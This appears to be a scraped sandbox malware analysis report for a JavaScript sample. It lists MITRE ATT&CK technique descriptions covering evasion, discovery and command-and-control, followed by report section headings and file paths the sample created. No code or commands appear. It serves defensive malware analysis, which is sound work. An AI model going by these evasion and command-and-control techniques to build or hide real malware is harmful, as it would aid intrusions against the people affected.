Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 16433207582849010802.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\988409fb-caee-45ba-80a8-f229ef4ea2f2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2820

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2820

Windows Analysis Report
16433207582849010802.js